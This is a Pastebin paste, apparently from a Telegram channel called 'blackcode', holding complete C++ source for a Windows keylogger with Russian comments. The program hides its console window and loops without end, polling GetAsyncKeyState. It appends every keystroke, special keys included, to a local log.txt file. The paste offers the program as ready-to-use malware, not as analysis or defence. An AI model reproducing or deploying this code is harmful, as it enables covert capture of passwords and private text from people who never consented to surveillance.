Guest User

BLACK CODE KEYLOGGER C++

a guest
Oct 1st, 2020
919
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 1.86 KB | None | 0 0
  1. /*
  2.  
  3. Channel: @blackcode_tg     
  4.  
  5. Author: @blackcode_admin
  6.  
  7. */
  8.  
  9.  
  10.  
  11. #include <iostream>
  12. #include <Windows.h>
  13.  
  14. using namespace std;
  15.  
  16. int save(int _key, char *file);
  17.  
  18. int main() {
  19.    FreeConsole();
  20.    char i; // объявляем переменную i, которая хранит символ
  21.    while (true) { // бесконечный цикл
  22.       Sleep(10); // небольшое ожидание
  23.       for (i = 8; i <= 255; i++) { // цикл for, где мы перебираем
  24.          if (GetAsyncKeyState(i) == -32767) { // Если клавиша нажата
  25.             save(i, "log.txt"); // Вызываем функцию save(сохрняет файл)
  26.          }
  27.       }
  28.    }
  29.    return 0; // Возвращаем 0(это нужно писать всегда)
  30. }
  31.  
  32. int save(int _key, char *file) {
  33.    cout << _key << endl; // Вывод числа  
  34.    Sleep(10); // ожидание
  35.    FILE *OUTPUT_FILE; // Создаём переменную для записи в файл  
  36.    OUTPUT_FILE = fopen(file, "a+");  // Создаём файл(log.txt)
  37.    // Далее мы смотрим, нажаты ли спец. клавиши и обрабатываем их
  38.    if (_key == VK_SHIFT)
  39.       fprintf(OUTPUT_FILE, "%s", "[SHIFT]");      
  40.    else if (_key == VK_BACK)
  41.       fprintf(OUTPUT_FILE, "%s", "[BACK]");  
  42.    else if (_key == VK_LBUTTON)  
  43.       fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");    
  44.    else if (_key == VK_RETURN)  
  45.       fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");      
  46.    else if (_key == VK_ESCAPE)  
  47.       fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");    
  48.    else // Если ничего не подошло, то просто записываем клавишу
  49.       fprintf(OUTPUT_FILE, "%s", &_key);
  50.      
  51.    fclose(OUTPUT_FILE); // Закрываем файл
  52.    
  53.    return 0; // Возвращаем 0
  54.    
  55. }
Advertisement
Add Comment
Please, Sign In to add comment